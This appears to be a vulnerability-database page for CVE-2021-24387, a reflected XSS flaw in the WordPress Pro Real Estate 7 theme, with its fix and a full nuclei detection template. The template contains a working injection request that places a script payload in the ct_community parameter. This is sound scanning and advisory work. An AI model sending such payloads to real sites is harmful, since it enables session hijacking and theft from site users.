HexBrain

Browse / CVEs / CVE-2021-24387

CVE-2021-24387· contempothemes / real estate 7· CWE-79

WordPress Pro Real Estate 7 Theme <3.1.1 - Cross-Site Scripting

mediumseverity
6.1CVSS score
3.7%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

WordPress Pro Real Estate 7 theme before 3.1.1 contains a reflected cross-site scripting vulnerability. It does not properly sanitize the ct_community parameter in its search listing page before outputting it back.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update WordPress Pro Real Estate 7 Theme to version 3.1.1 or later to mitigate the vulnerability.

How to confirm it

Send: GET /?ct_mobile_keyword&ct_keyword&ct_city&ct_zipcode&search-listings=true&ct_price_from&ct_price_to&ct_beds_plus&ct_baths_plus&ct_sqft_from&ct_sqft_to&ct_lots…
Positive when: contains "<script>alert(document.domain);</script>" and "/wp-content/themes/realestate" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24387 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-24387

info:
  name: WordPress Pro Real Estate 7 Theme <3.1.1 - Cross-Site Scripting
  author: suman_kar
  severity: medium
  description: |
    WordPress Pro Real Estate 7 theme before 3.1.1 contains a reflected cross-site scripting vulnerability. It does not properly sanitize the ct_community parameter in its search listing page before outputting it back.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update WordPress Pro Real Estate 7 Theme to version 3.1.1 or later to mitigate the vulnerability.
  reference:
    - https://cxsecurity.com/issue/WLB-2021070041
    - https://wpscan.com/vulnerability/27264f30-71d5-4d2b-8f36-4009a2be6745
    - https://contempothemes.com/wp-real-estate-7/changelog/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24387
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24387
    cwe-id: CWE-79
    epss-score: 0.03677
    epss-percentile: 0.89763
    cpe: cpe:2.3:a:contempothemes:real_estate_7:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: contempothemes
    product: real_estate_7
    framework: wordpress
  tags: cve,cve2021,xss,wordpress,wpscan,contempothemes,vuln

http:
  - raw:
      - |
        GET /?ct_mobile_keyword&ct_keyword&ct_city&ct_zipcode&search-listings=true&ct_price_from&ct_price_to&ct_beds_plus&ct_baths_plus&ct_sqft_from&ct_sqft_to&ct_lotsize_from&ct_lotsize_to&ct_year_from&ct_year_to&ct_community=%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&ct_mls&ct_brokerage=0&lat&lng HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain);</script>'
          - '/wp-content/themes/realestate'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from